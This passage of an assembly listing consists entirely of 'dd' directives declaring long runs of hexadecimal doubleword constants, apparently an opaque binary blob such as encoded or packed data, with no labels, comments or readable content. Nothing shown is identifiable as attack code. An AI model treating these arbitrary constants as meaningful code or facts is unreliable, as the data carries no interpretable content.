7CBFCF56h, 1700E20Eh dd 2E29352Fh, 0DABE3Eh, 1B5DC803h, 0F8BA33h, 0A5F1D405h dd 6E996225h, 0E10A2B00h, 0E28034DAh, 0D88A3CBCh, 2CEC7C05h dd 6A2980ADh, 260004C7h, 0DA8EF4E8h, 5BFBE2h, 53FE2315h dd 0C7B47E60h, 0C43ADEFCh, 3398010h, 8A56359Eh, 0EB9B2C86h dd 0BE2300E2h, 0B1D489BDh, 6BBAAA00h, 73160647h, 44F300E2h dd 4BFCC541h, 8B0104CBh, 0F176DC17h, 0E850421Ch, 0FC4FE27Eh dd 5ABF0066h, 0B530F2F5h, 8375A184h, 0DEDE9E28h, 28056309h dd 70C81ABh, 0AC50FE87h, 7022664h, 6350CDE7h, 0FA392009h dd 17E4B757h, 3C70D37Ch, 0F4FEB4A8h, 3F343Fh, 43F60874h dd 6E238C06h, 4DE0210Ch, 0F20B6EE3h, 19C48903h, 0F9AD17BCh dd 0F9601B8Fh, 0A1F706E8h, 205760DEh, 1809A503h, 1FD270Fh dd 0A32FC91h, 0F461DE7Ch, 8D00F884h, 19348FACh, 0C1F62686h dd 94F12329h, 0A449E86Eh, 0E1D63000h, 0C0D9CFDEh, 0E48E2207h dd 78C68D24h, 1580641Ch, 896DBD37h, 0E6080109h, 0C0F50E17h dd 0DBC18204h, 0A0511B49h, 0F1CAE2ACh, 9C2401D5h, 9A3DECD2h dd 1F288309h, 0E8F983B4h, 73FD1593h, 0F146007Ch, 0C9224D72h dd 0BC000513h, 0C380450Bh, 38BE2D19h, 94848B78h, 83C5DF46h dd 3072F67Fh, 0C8AF870Eh, 0A3405D29h, 555E81Bh, 0FE0E0C3Ah dd 2A587235h, 31F71630h, 18CC0B8Ah, 109FE7B2h, 8E08DD0Eh dd 8C67FD2Ah, 70394C8Dh, 7F280EBDh, 246389C7h, 0A8AB6AB3h dd 0FF3D6A1h, 45908C7Ah, 6F0C18F8h, 4EFFA3Eh, 448E4876h dd 496DB200h, 7418974Ah, 52E94FCEh, 0C0F9740Eh, 0DB24AC69h dd 1D7B15F3h, 784CF501h, 0BBC51274h, 4461BFCh, 0BF1B2CBh dd 8A078771h, 5E1F036Ch, 1100EC1Bh, 0A5A1D6FEh, 453F4E6h dd 1D4BC724h, 2E9C807Ch, 3C00377Eh, 0C0901B74h, 33F055Dh dd 35B25314h, 0B4A09B17h, 0C22C92E5h, 51070BACh, 0C502C4Ch dd 3E092Fh, 0B211EF7Ch, 21668A83h, 38490103h, 0FC8FC3h dd 0C739E930h, 22A22DA4h, 81F63E03h, 907EF528h, 391C8969h dd 0A4809E1Dh, 0E9999758h, 8DB2CD3h, 0A7F7F070h, 0FA801F1h dd 0FEC2A008h, 675985FFh, 0D980D247h, 3B022478h, 0D906084Bh dd 0A049A43Ah, 0E58FF1Dh, 0E4231200h, 639BBCF5h, 3C4EC9D1h dd 6E3880E0h, 0E01C3B00h, 2E7C3450h, 5A650083h, 0DB580567h dd 1A1EC2C5h, 19DD986Eh, 807CA709h, 4BD46D3Ch, 0BCAE1D63h dd 0DC6700FDh, 49304596h, 9103FF00h, 1A2375B2h, 0B0E568F5h dd 0B77900E8h, 0BF977045h, 0B60CC390h, 21EE14D9h, 0B07C6E4Ch dd 0A845A2C6h, 0B453371Fh, 0E08C20B2h, 0A3CEEB5h, 15D923DEh dd 0F707401Ch, 10C09CA2h, 0B28DB0FCh, 194D3915h, 7C54B980h dd 6D1DC0E8h, 490D1307h, 8586F6EAh, 7ADF0130h, 3C76DD1Eh dd 1371F433h, 0BD45653Ah, 94EB0338h, 0E701FFA7h, 0B5D04250h dd 6222E8C8h, 1DB7111Bh, 8196130h, 95ED25FCh, 0EEC84603h dd 1541790Eh, 4A3FBBEh, 5C7D4B81h, 0F498F0A2h, 104AF328h dd 61CC1E00h, 66C853FAh, 93B664Eh, 7E002186h, 0F8AA61A4h dd 301915DDh, 0BE485EF4h, 0DFE20294h, 768BB100h, 2939692Dh dd 5A6301ECh, 0A2B9DEADh, 800431D0h, 758C9B89h, 0CB6D979h dd 8674BF2Eh, 21D3E608h, 0F1750200h, 184CFBDDh, 0C1A93943h dd 0D30226EDh, 2F912537h, 25C155E8h, 4A8FE43Bh, 74B5E628h dd 5060297Bh, 94EC5BA1h, 91AD1CDDh, 320F0099h, 74DADBCBh dd 0A2BE3C0Ah, 22001C0Ah, 0ABF93746h, 33A87648h, 3B0860C3h dd 4DF52100h, 8A700837h, 0C4ED064Ah, 41BCDDAFh, 29C028F8h dd 0D8F4ABD6h, 0A7960263h, 6AA87B5h, 0DF746CE0h, 2C371A0Ch dd 654F1F4h, 3C8B4A63h, 1C0349B0h, 372A1D8h, 0E7A09735h dd 7B843E5h, 0AF98091Fh, 3171209Ah, 0E4A72A6Ah, 0BA80D14Fh dd 3601EAB4h, 0BD54130Eh, 742158C1h, 0D2691D71h, 0D1680066h dd 0E3B9F0E4h, 75533Eh, 89F5A4C9h, 613C7042h, 0AC43B1A1h dd 0DC2BF8FDh, 200FB207h, 4546B30Ch, 4E10021h, 0B8B41DFEh dd 0F9DF8FAFh, 74842414h, 603F5E88h, 72BFC941h, 0E1C86931h dd 61CAC0F1h, 0B84653ACh, 60008F22h, 962861A2h, 0C02B0A54h dd 800D1D39h, 0DE3FCCEAh, 0AA0786EDh, 3089B1D7h, 0CB29340Bh dd 9B0050F8h, 0DF5DCEF6h, 18255F2h, 5179CA43h, 0DD7B5B21h dd 3156FF37h, 336CF020h, 85E8029Dh, 0AED9AFB1h, 0D2C0AA21h dd 0DDA9C985h, 0F80C48A2h, 13B47242h, 2620BCBAh, 48C6EFDDh dd 0E23E844Fh, 29467B98h, 0A5E89A95h, 0DC5A8207h, 0BB340B54h dd 6D408D3h, 27D69A41h, 860024B6h, 197749B8h, 6088A935h dd 0C3834948h, 0AAF4C5EFh, 0E55EDD03h, 0D2D0DC50h, 85C04AAEh dd 0E843F1BCh, 68200BECh, 64F418A1h, 3E5A202Bh, 3F20C6EFh dd 1891F1A6h, 6918F8D1h, 0A53FD90Fh, 4044640Ah, 30F21C82h dd 0F91161B3h, 8888A053h, 61AB9180h, 3A2A83DDh, 2AF8741Bh dd 7C94800Bh, 334C01E2h, 2355A160h, 0E8B9F952h, 0FA092BB5h dd 2C3CCFAAh, 8CFE78E8h, 0AD1161FCh, 0BA888053h, 61A77D81h dd 2CF086C1h, 0BD2A022Bh, 0C3AA53E2h, 0D383E090h, 0E0517C32h dd 85911F82h, 8C927B80h, 0F2F4263Eh, 2C4BAE24h, 0FFD4C240h dd 0B3050031h, 0D3A1E191h, 810A7351h, 84240BE9h, 5F3E2984h dd 6BDACC8h, 2A5ECEF1h, 0E30A8940h, 0E855EF3Dh, 0DA11708h dd 0C4C9B73Ch, 6200C74Eh, 1365B4DCh, 4CD4109Dh, 7780A03Ch dd 59EF9CC3h, 201C5800h, 103D8C36h, 549A09D1h, 40997D2Dh dd 4AD184Dh, 42BCAFDh, 0EE2CB3h, 0CC18FE05h, 6AD07293h dd 0AB46DC90h, 0FA37630Fh, 1FC46048h, 374F0240h, 0A91BD04Ch dd 0A239AAD9h, 0DEC090C1h, 4B821854h, 0E0E1118Ch, 3CCE2500h dd 2A265E4Fh, 6990049h, 0ECC32B0Fh, 6607513Eh, 9427DE35h dd 8321F7D0h, 5EFE061Ch, 48A0E937h, 8160548Dh, 28057827h dd 598315Bh, 8D3DAB1Bh, 0B0B814A5h, 0FB01D323h, 0EED96475h dd 0B480C863h, 5B7875F3h, 0DB5AE303h, 191D235Eh, 0F18B4B71h dd 62E02AA0h, 0C2C600AFh, 0A45E7650h, 0A678233Dh, 61DC8101h dd 0EBF404F2h, 14635980h, 6A80C549h, 0EDA18E1Fh, 99FED9C4h dd 5E883EC0h, 75291853h, 563C3109h, 7A9984A8h, 40DB2C00h dd 0D9E91DF4h, 7F900E0Ch, 0D020396Dh, 59097443h, 4EFAF801h dd 0F64BF0A4h, 281BA980h, 7155A268h, 99FDFC00h, 0EB29E8AAh dd 7930A03Ah, 0F52500C5h, 0EE4CA71Ah, 0F10063ADh, 48AFC03Bh dd 208CD12h, 0FAF9F28Ah, 60443930h, 87063600h, 0DE23ED92h dd 52E46Eh, 0D1D45FA2h, 2EFFF4A9h, 14BA593Dh, 0C0C01704h dd 0D94575F8h, 0C448C96h, 75F000B1h, 4980D593h, 82020353h dd 214345FFh, 0F5C49137h, 0FAA16B10h, 86A4F900h, 0F268287h dd 2A291880h, 0A5B510Dh, 0C039136Fh, 2305C910h, 226B008Ah dd 88038B0Dh, 38175A43h, 81FAD72h, 54AEFE42h, 0B84841F8h dd 0BFB84818h, 4898AB24h dd 0F40EDC4h, 0F70A3770h, 4DCF8B07h, 8234DD1Ch, 663214C1h dd 80A65091h, 0AB8D377Ah, 75AF43A8h, 25620188h, 5C704837h dd 0A74D291Dh, 2056ABDDh, 94D83C21h, 4C27AEE4h, 0B9BC1488h dd 3CCCE48Ch, 0AD822452h, 0A25CF193h, 9D97E520h, 81A070Ch dd 246368A3h, 0D2A8828Bh, 0FC75FA30h, 228646D9h, 0F2BB00C0h dd 9236AE75h, 0B00C206h, 0F0C1B7E5h, 9053E61Bh, 0A58C81A6h dd 37087918h, 0C4D0AB8Ch, 65005C3Ah, 0DA0D1637h, 1677F450h dd 33345EBFh, 0C9FEF4B4h, 2A0B5B18h, 877E19h, 0AB2C02C2h dd 496CA39h, 50231507h, 44C2AD2Fh, 9D8CEDBh, 3ECF7576h dd 4C042C8Bh, 0FFF346A1h, 52F100E1h, 54DA2623h, 0D6E68088h dd 1202A400h, 40048EA3h, 4BC30013h, 0C218E7DDh, 491B5E5h dd 5B1847D1h, 0BCB2B907h, 68F3C3EAh, 0DD2DC1EFh, 483059F7h dd 0CEB3F11h, 4111225Eh, 0B9F7614Bh, 40E2597Fh, 0C0937A83h dd 4EBCE500h, 0BD245FCCh, 90BCB9CEh, 43C1C8DAh, 8C8D7553h dd 28C614Ch, 2BCEFDF9h, 4419B2E4h, 0FDD1E210h, 48B8C42Ah dd 788B5F00h, 0F3BA032Dh, 12087555h, 8DC4819h, 8FC3DF34h dd 8ED9E975h, 0C8808C73h, 4CA7587h, 37CD2910h, 23502ED6h dd 508200A2h, 0FFC39454h, 0C1120D00h, 2A1124FAh, 6151254Dh dd 0C6BD8417h, 0D6954C03h, 5EB864FEh, 0E212AC8Dh, 0F8D03C70h dd 9FD42Bh, 94262D06h, 0F98945C8h, 458CCA2Ch, 0C303B826h dd 0D2E8792Ch, 802059D8h, 0EF72DC5Bh, 3090A7C4h, 0EE88E081h dd 4F11D428h, 80FE0783h, 0CB27026h, 1FDFF458h, 0C31FD6FDh dd 1AE738A3h, 0B4F6D3h, 682566ECh, 0B4175190h, 5C5A904Ch dd 2F129C43h, 71EC8849h, 751810E9h, 80049C1Bh, 13E625Ah dd 367D92DDh, 0D89278B9h, 0D0A064D0h, 3FEB0091h, 72EADF28h dd 0CC968D76h, 2FA6680h, 9D4753h, 4E70BAF3h, 412899BDh dd 160E5493h, 902F34Fh, 71DADC8Ch, 0AA6904A0h, 2148B2DEh dd 958F90B7h, 139FBC74h, 233D29A3h, 80B827D4h, 0B74FFBF4h dd 0FC05434h, 0EB91EC8h, 41DF3E9Ch, 944A409Eh, 68DDDA97h dd 733E927Ch, 7223EA3h, 0D03F8157h, 0B383A6C7h, 0EEA3B4h dd 0E8E59110h, 1FDA5295h, 1C4B6C00h, 0EF8EABF7h, 974200DBh dd 9D571B16h, 5400C2C8h, 471E3E81h, 3CAE32A7h, 7E1D90BEh dd 0BD3030A3h, 0DE7C0891h, 1B5F9F74h, 4C0F2FE8h, 49EB42BFh dd 0BCC7C909h, 54D704A3h, 13C93C17h, 3AB33C28h, 8D008388h dd 3DAB18F5h, 4513B499h, 0A49AB9D4h, 0C0128CC7h, 272D3253h dd 0A87F1901h, 0A13F2946h, 375E7074h, 0C5994F21h, 0F058CD2Ch dd 0F87EA0A5h, 0C6284061h, 7300BB7Eh, 80ED7520h, 9537D098h dd 96B5E0E5h, 1F465EE4h, 5AF14201h, 48ABBDD4h, 4BFA5384h dd 1836ED40h, 88EBC9CDh, 844AF498h, 61E0E837h, 0B6B05407h dd 0A57F5804h, 5FC66100h, 0F97823D0h, 1BA6299Fh, 0DEB19684h dd 39D4C7C4h, 5F09CF80h, 11403DB1h, 0A4E64F02h, 94FAA0F5h dd 943644h, 260E0411h, 0C2C49521h, 4831221Fh, 82703C84h dd 11F20CE2h, 1C43B930h, 560BE9BDh, 0DDA48EBBh, 47EE0063h dd 8D51F85Bh, 0F0CE582Eh, 2FBC9A62h, 0E79175C3h, 82B6E000h dd 0FD2DC5D0h, 0D0E1505Ch, 47752A29h, 22890080h, 9D2DD395h dd 90A150D1h, 7FC3DC3Dh, 0A3F58E05h, 0BC01F63Eh, 0BF793059h dd 722820h, 0E71D80EFh, 50C243B5h, 81C08A73h, 0C7D3593Ch dd 0E2F72F28h, 612EFC00h, 2D1853D2h, 86582397h, 0E4F32AE3h dd 821E00D4h, 1511CDB8h, 0E21F0845h, 7CC0356Ch, 790F1653h dd 22435FDAh, 4530A170h, 0ABF81637h, 3E40CB70h, 84370CF4h dd 480380EEh, 0AA125847h, 564309Ch, 0DC884377h, 8BE34AB2h dd 0C0BBC828h, 140638BCh, 0A00BC525h, 85F5DAFCh, 48F073B4h dd 0D61215DCh, 23C43BE2h, 351F3Bh, 45636489h, 0BB31DEEBh dd 27EDB840h, 0A4232C23h, 0A537640Fh, 9038B8ABh, 374C0103h dd 0D0B19624h, 3EAE106Fh, 88AF29B2h, 184F7984h, 0F0B507D5h dd 109AAC74h, 0CD2B124Eh, 400A9524h, 59D0A909h, 56314050h dd 0A501E062h, 0E339FCCh, 0C687D71h, 9D587A80h, 6A00ECB1h dd 3AFE95FFh, 520EA09Fh, 4CF254B3h, 3F0B0630h, 48822A18h dd 0D90D1270h, 0A2574C40h, 778B5180h, 0ADA40016h, 70BC0635h dd 0DC0AA94Bh, 0E4A50D3Fh, 430EE302h, 0A5648E29h, 6CB4F23Dh dd 0DED20A83h, 64235Eh, 3254DBE2h, 0B4297659h, 0ECD1D89Ah dd 90005818h, 63F523D6h, 27EF7739h, 2C91DA44h, 4C08110Ch dd 108A3980h, 4B73851Eh, 21AB3930h, 3DF07D6h, 0C94412A8h dd 0A0B00351h, 449A1EAFh, 0E2504E52h, 0BD31301Eh, 8888B128h dd 0D2F328A0h, 3B54703Ah, 0B0592AADh, 0EA64F900h, 260B4887h dd 584500B8h, 0F284A9E3h, 0A21E4F04h, 0CCD873BDh, 0C05DF408h dd 9209A939h, 700099E8h, 0C1B0BC87h, 9940483h, 0CA46AC53h dd 2BC8A48Ch, 97599D13h, 75776C01h, 7C31DDEEh, 0F1C0F05Bh dd 0EC14C34Fh, 1B74B16h, 24597842h, 71407988h, 3952184Fh dd 0F3805174h, 0C337AAF2h, 5D30C7ABh, 0CFBDB059h, 950A2C66h dd 99ECDCA8h, 74ED5F00h, 0E2EE3EB1h, 0BD014B3h, 2826C81Dh dd 0C0F718F8h, 3AFEDADBh, 916C1797h, 0A1488088h, 529A74Bh dd 371B9535h, 8090F252h, 620F872Bh, 9B4500C4h, 0DD707A0Ah dd 1700D7D1h, 0D2974133h, 0BCE267FCh, 6F00DCE8h, 0D2FA1912h dd 1A865BC1h, 0A9AAA9ADh, 4035C082h, 967A72Eh, 546404EBh dd 0A7A14CC1h, 0F023446Dh, 16A4C914h, 44CB1053h, 61A17B00h dd 2BECDB6Ah, 0A801C514h, 3C3378DCh, 0E02FC1BFh, 0EF641Eh dd 7152B07Ah, 69074776h, 0DCDEFA1Fh, 80B91809h, 7E1BC324h dd 0AE5330D8h, 0F90FD98h, 4475D0A0h, 680B9A05h, 0C09148B5h dd 6E2E4674h, 0E57C0028h, 0E8E0580Fh, 3DC42C13h, 7FA3DC44h dd 1CDDE5E8h, 23EC2F12h, 20AF7409h, 0C1AAEBD0h, 0BB79C2E2h dd 2CC93388h, 244EEDF3h, 2C0071ECh, 0CC46CEAFh, 0FE0E3FD8h dd 53E30990h, 0B48C5708h, 0A9B03741h, 3A196B00h, 252109A4h dd 0E5FA0908h, 0AC01298Fh, 0E09883E3h, 40630B2h, 28F77554h dd 0D2802070h, 47058200h, 4F6FA2Fh, 29830084h, 0F9F355EBh dd 13031599h, 0F854C17Ch, 0D08158FAh, 18C10E8h, 0DCC9BB8Eh dd 40D18CCFh, 910DABECh, 0C44FAD4Ah, 0ACE648F4h, 3626D664h dd 467C3811h, 41070EBBh, 0BD7CE2A5h, 1D6859C2h, 4241760h dd 8B3DC5CCh, 0C0ECC8C0h, 0EE6AF9BCh, 4E76E9E2h, 88553C12h dd 71740081h, 1C6D8DC8h, 1608C4FFh, 0BD9C00E7h, 0F42E665Fh dd 8F0008B1h, 0F99661D8h, 17C7A0Eh, 65B782C5h, 2E45BA31h dd 0C023143Ah, 0F4BA9200h, 59733Bh, 9CCEAA7Eh, 5450951Ah dd 0DCFF4B09h, 0F3DC0584h, 0D6D03089h, 3B5E00F2h, 1B4C6082h dd 7D0F406Fh, 6DE008FEh, 0B864B8A0h, 76A91112h, 0C3AA1771h dd 84DDD0C8h, 2D9FA009h, 0DEE800F4h, 947537DAh, 4EE30104h dd 0E403E554h, 809174DFh, 465E102Eh, 0F3480047h, 18C09363h dd 0F9EB18CDh, 0F75971D9h, 0C317589h, 20222C31h, 0CE30BAF2h dd 35B300F1h, 41E36036h, 8812B9CCh, 200322FFh, 0D14933h dd 0FE0C6431h, 0F29189B4h, 0E7202916h, 20BC0C22h, 90B788Fh dd 823DEE00h, 5A9CE132h, 19D9F4D2h, 29A8390Eh, 26F8CF85h dd 0FC05ED64h, 7803CBF8h, 1628E88Ch, 21E474FDh, 0C72982C8h dd 550071E6h, 4DA77723h, 0DC73E7h, 1F2EF7F2h, 3C58C920h dd 0FCEA51h, 17B4AAE8h dd 9C92F64Eh, 61CE3085h, 5853F810h, 61A694E0h, 0E6874400h dd 122A1CBDh, 0BC2404DAh, 0C0373378h, 4CA53C48h, 9496F0B0h dd 73A14674h, 0BCF5EC13h, 0B1502C1Fh, 18BD701Eh, 712F29B9h dd 0C1E09E6Bh, 80608EE4h, 0BFBB4074h, 48394C27h, 1F118C18h dd 4747516Ch, 0F12B3D66h, 39225EB2h, 3568623Ch, 80DA04B5h dd 0ECFCB3B0h, 125CF059h, 0B4B4F192h, 300E0031h, 0FA749F3Bh dd 83030D3Fh, 0DC770AC6h, 0D922E8FBh, 0ABCA136Fh, 71F4A282h dd 160CB400h, 9D348AE6h, 0C25500E9h, 0DA5603E3h, 51134520h dd 0A8E44932h, 2B923D4Ah, 10A86D00h, 0DE29A5A1h, 16BE0700h dd 15A6CFFDh, 1023486Eh, 0B284A392h, 95C0304Ch, 0A01CF8E0h dd 6E8398CFh, 8A6DA915h, 0EE8882B8h, 0EE14CD72h, 5CFD76A0h dd 0D44020E7h, 0A8920135h, 456DAB66h, 160BB4Bh, 5EDF04F2h dd 0E0104037h, 0BB4AE468h, 82940Fh, 0FAF39E75h, 53C94ADBh dd 4E10087Ch, 0B3FDA3CFh, 48E85C2Bh, 0FDD2E3A0h, 0CECF3A01h dd 6E603B5Dh, 52C913D8h, 0ECB2703Dh, 128CA30h, 0C5F971D7h dd 222B4398h, 200B0428h, 0DC01B999h, 44D5C937h, 0A5F48380h dd 60B824E4h, 5A8CFFACh, 0A7CC889Ah, 0AC663100h, 46C23043h dd 1C1B07DAh, 0D4B52B7Dh, 92C08491h, 92330AE4h, 2F890543h dd 0E4423A0h, 0A9859FC7h, 8BC887Bh, 0A00E0B1h, 0F5065783h dd 1BC601F2h, 0BB3577EFh, 0FE4B60C8h, 2AF1DF3Fh, 8207E044h dd 83C53B9Dh, 2BC46049h, 3CD14907h, 5C616B27h, 402310FFh dd 915400D7h, 0DD56FAB6h, 0FC079B72h, 0A9B2923Ah, 0E8C7AC00h dd 0E253075Ch, 938354DEh, 6813A446h, 0B4203C37h, 4A7E03h dd 61A124D6h, 4B72332Ch, 0FA40C496h, 97BA0EE3h, 0E511FC17h dd 0D2393780h, 0D97628BCh, 0E0ECFD14h, 103D0EFCh, 2C4251E9h dd 0C330FFA2h, 502D2CD8h, 8F467468h, 0EC024703h, 3900290Bh dd 0E185ACDDh, 9BA2B8h, 5C98EBB6h, 0F76A33F3h, 0B3051CB0h dd 1EE8EFDCh, 3E2964C1h, 5BC8403Ah, 989CCD94h, 0DC2764FAh dd 914C977Ah, 0EEAA8146h, 0FCC8BAECh, 5CA70405h, 84F5C4C7h dd 279C8C94h, 19D7900Fh, 1F3E4003h, 4208DE1h, 2DCE148Eh dd 3D6CB4B5h, 0F8B4BBEEh, 0F83FA300h, 9B76282h, 1628076Dh dd 0D6146481h, 0B31C6457h, 2E46FB44h, 8418D2BCh, 0A2DD4B16h dd 0CB591660h, 0EAB3A44Fh, 102DC529h, 0E80372Ch, 41590FAFh dd 24851780h, 0A7007DFBh, 26FF7967h, 875AFAh, 2175EB6Bh dd 48EE8251h, 0FC25CE00h, 169C7FD9h, 0F10400DAh, 0BD7355D3h dd 7A302172h, 36710E5h, 2356004Fh, 2CB891B3h, 3A00D06Eh dd 20EE6A51h, 0CF3FFDh, 0C9B170C6h, 0FB8360DAh, 9D95EB0Fh dd 525920F9h, 18C5EAFh, 1A0812B5h, 70FAFDCDh, 8005F320h dd 0CE5A672Dh, 0C064E008h, 2BCDFDF8h, 0B0EC38F5h, 71FDD0F5h dd 0DCA20085h, 599C8EC6h, 9D27BDDFh, 0C5482FA0h, 30DBE38Dh dd 97FFDC0h, 12003F6Ah, 0DBF03B3Dh, 489CCF84h, 884F10BDh dd 400E480h, 78D4EECEh, 46D0D3h, 707144B3h, 0DB3B1934h dd 4824DA5Bh, 0A3553CC1h, 48022400h, 971C20B5h, 882C64h dd 2E181FDEh, 8F44AD01h, 85794F01h, 3C5ED354h, 0D110F036h dd 34F20441h, 0B01C85DDh, 4FF5A372h, 811C85Bh, 25E87BB8h dd 0E5215827h, 62FFE444h, 14511Ch, 0A14C4AB7h, 5A78851Ah dd 0AA2E680Dh, 2FE03175h, 0BA572CE6h, 0F8465E30h, 0B348406h dd 9EF6E94Eh, 9F462400h, 0C2BD8997h, 0FB8BA1Eh, 0B93FDADEh dd 324AF879h, 0FFB80038h, 86283647h, 782E0035h, 3765EA4Fh dd 637C1320h, 0BB2CA507h, 6270517Fh, 0BCC65EBDh, 77438224h dd 0AC91A26Dh, 4B04EA81h, 2DF2C88h, 0C15B766Ch, 0B0F1C427h dd 8764BB80h, 9A01C8h, 1B725604h, 0EAF2C8Ch, 6AA33B01h dd 76AA9783h, 0A8B4223Ah, 5A055310h, 201C0973h, 0CC11F4C5h dd 0FABD685Ch, 5DF2730h, 0D69493DEh, 0F8B26Bh, 8D25B5B9h dd 26A9177h, 174C3FBBh, 0D459E2F2h, 40327E00h, 0E9A5D0h dd 1FE859B7h, 0EE0E3F99h, 3D08CCB6h, 75E2822Eh, 0C450EB65h dd 0A9B7AE1Dh, 85802BEDh, 8CB43C6Ch, 816200FDh, 3936B510h dd 9200AA27h, 0EFA52EDCh, 0FCD8CFEDh, 404D0517h, 20394EE3h dd 8DA05B9Ch, 3659A40Eh, 0A5DE802Dh, 93224DCh, 44893DA9h dd 0E89104EEh, 8CAFFC80h, 7574ECh, 14CF41B9h, 0EEA11219h dd 0A9E2720Bh, 4010D18Fh, 798624F8h, 746A9E05h, 0A300E331h dd 0DF7AB285h, 1F584AE7h, 28842DD4h, 74CA132Eh, 5100A3DFh dd 0E4263A0Fh, 3FD9135Ch, 0C1288571h, 0E843BE04h, 0E0C1427Dh dd 8C613735h, 11A520BCh, 0C4A44844h, 85CF6216h, 2024505Eh dd 3A2467Eh, 34F4DECAh, 12E9E631h, 1360D8DBh, 30D40824h dd 0E83D9D89h, 0FD95B24h, 5FBC6E35h, 0E8513682h, 3B7974F1h dd 7EC6918h, 0B1342D01h, 46B788D1h, 6963020h, 3F5EBF84h dd 849C3135h, 0E30A0807h, 7C1022C5h, 173125CCh, 80BB91D8h dd 90414019h, 0C3823D1Ah, 39F6F200h, 547F7472h, 0B420DC4Eh dd 4C370Bh, 0BBB26838h, 2A87F6Bh, 59267DF4h, 4DE8821h dd 0AABD1319h, 0F3171F8Eh, 0EB070E4h, 73713D86h, 1E334780h dd 5F0EFBA1h, 33952729h, 87E2F8F2h, 0ADC0C531h, 0B6DB0027h dd 302E8967h, 0E1C0B339h, 9B147BC1h, 6A011C36h, 8108753h dd 0EE09D04Dh, 0C10C1DCFh, 3166AFA8h, 512927B3h, 0CFDC20E8h dd 0A8F8C826h, 98C42Dh, 0B453BB66h, 0EF7712E7h, 1C244A00h dd 0A6262F86h, 0A3A4E688h, 8CC91CACh, 7E80BF7Ah, 683E29C5h dd 762FC478h, 4AA898ABh, 0A40C04BFh, 0FD5229F0h, 205E12D8h dd 4CA00825h, 0A9E31B82h, 80E2A174h, 0F300D852h, 8ED9562Dh dd 48325122h, 14042CE0h, 0C83CA163h, 5E006710h, 0DA4E2513h dd 7E5FF1Ah, 4428F77Ch, 97659027h, 5404F419h, 1FB8CD3Fh dd 5680C484h, 4CD5CF4Bh, 461D8CF5h, 0C030D6DFh, 2459E364h dd 3CA75318h, 5C22F321h, 0BA2D942Fh, 0FF11CC17h, 8482C689h dd 900A29FEh, 96F97284h, 0DA7C5CC2h, 544E0014h, 0F2DBCC94h dd 26159DF3h, 2DAC83CAh, 5B1CE80Bh, 2DF017Eh, 2B317134h dd 1B5DDC76h, 35C59801h, 8559EE5Ah, 0F918356Ah, 0AAF4A918h dd 5DF430F2h, 0BA087849h, 88163C00h, 5709BF19h, 13C517ACh dd 0AFF809FEh, 44E42045h, 0AB5DE660h, 4FA13D13h, 0CEBD5845h dd 62C388FCh, 7CA887F7h, 480367FDh, 0D972E3E9h, 0C4495857h dd 0B9D1080Bh, 787A3CC8h, 54542980h, 9DCC4F6h, 0E0EB213Fh dd 0F4E0E48Eh, 5CD59FA8h, 0E840B124h, 4169B460h, 0CCD2003Fh dd 0AC75DBAEh, 1709FFB2h, 0A0BC5F0Bh, 732D5370h, 48009739h dd 0A42C7D1Ah, 4F75E304h, 740430Ah, 0B7693D3Ch, 0EFF5A200h dd 0B09864DBh, 316518B5h, 0A7FBB040h, 0A5753A38h, 0B6206387h dd 37DA1388h, 0B0E857D5h, 9D161A84h, 0ACC3C065h, 0C320E8EEh dd 82C9CE5h, 0AB129A95h, 69857404h, 0C7D34E01h, 0C4D075CCh dd 833D57E0h, 0C5B0D44Bh, 0D987F207h, 2CE21771h, 0D6A0FC95h dd 94E98E00h, 1D79B5C1h, 0BCA00685h, 0D01E4F40h, 68E08300h dd 0FFC12044h, 15170045h, 0B51A5147h, 99680D6Dh, 0C509D0B8h dd 5990E8A2h, 945B8054h, 43149D09h, 3F05A35h, 0F8F165E0h dd 9CAF53E3h, 0BBE82369h, 0C8C65E2Fh, 5C9F5B98h, 0EC807439h dd 0C4E15F9Eh, 76695507h, 1819296Eh, 51CCCF10h, 0A03AB81Ch dd 67122D5Dh, 5822D9AAh, 6CD208h, 468DBC66h, 29B8C35Dh dd 985FCA00h, 20B0AC77h dd 8358177Ch, 0B3009CF4h, 30A00D00h, 0E195A9B2h, 96B7106h dd 55A569F9h, 17052C82h, 4675E81Bh, 8BFE5FD9h, 0F1B20B0Ch dd 83DCC975h, 5BE4413Bh, 3230A52Bh, 5470405Ch, 0F1333Eh dd 0D99C14F2h, 0D4A53736h, 4B8B58F1h, 366F7010h, 548C6300h dd 572FD689h, 0C441CBCh, 35C94h, 0B4DA7611h, 0FD54DD75h dd 4414DBD4h, 1D87E72h, 612D54CCh, 0B428C3AAh, 6560C188h dd 18E2CC7h, 0B30436F5h, 504A8757h, 714742DCh, 98C81F26h dd 2C239D85h, 48376088h, 48C27C21h, 2043163Fh, 410598DBh dd 6135EE07h, 3BF258B2h, 7A9DA033h, 0B86112CBh, 0BD2CD0F1h dd 765CC0A6h, 0B05C00F7h, 0AE2E5BA7h, 88F80E09h, 0CF2ABDE1h dd 8EEB0E70h, 0AA0B20E8h, 2658C8B4h, 0B6BD1A54h, 5C5111A2h dd 9C218700h, 474562h, 0A85339C7h, 0EE657E75h, 0D21C1612h dd 612FEC04h, 0BDA4041Dh, 7CC489C3h, 94095AFCh, 4C54100Bh dd 9F013C8Eh, 3031EF00h, 0FDDBE55Eh, 0C2280801h, 0CC48ED82h dd 2F5A8478h, 7E62344h, 52256EDFh, 5476AAh, 0AC095096h dd 72AC815Eh, 0C04967D3h, 88F1C820h, 0AB24A6ECh, 0A864941Dh dd 634FBA40h, 3604837Bh, 3A9CAEBh, 16D7ECC1h, 0CD3CA840h dd 8E635EE7h, 0C086C8A8h, 4918FDB3h, 8D53CB04h, 20C2E227h dd 0F3284148h, 54F19C21h, 235C3A3Eh, 13CA0347h, 0BFD0066Eh dd 6F980140h, 0C7D95A04h, 70C0A0FCh, 41D12080h, 0CF9760B3h dd 98812928h, 0E6A9605h, 9A86FAC2h, 86F10079h, 0C78549F6h dd 0BD0098CBh, 0A804223Fh, 89EF18h, 0A41F7C23h, 591EEB3Ah dd 0AA4F68F4h, 9577422h, 0B0481884h, 30160B90h, 98224A39h dd 25D4F473h, 0ED910C17h, 0AD842980h, 7D0EC4A9h, 0D2BDB6F3h dd 0D7210CB2h, 0F2B7AA09h, 2B0B0DCh, 66EBE01Ah, 0C08F36FFh dd 7A86E12Bh, 179530A5h, 80F39180h, 610C8D3Bh, 34F90D14h dd 0D0F0A49Dh, 0AE12A848h, 382016DFh, 49552380h, 0C04CA824h dd 3139F10h, 0DF1CD28h, 731910BEh, 0F35D8412h, 8416B21h dd 1403E945h, 1003E9h, 3C2081A3h, 0D432AF47h, 0B882BEF9h 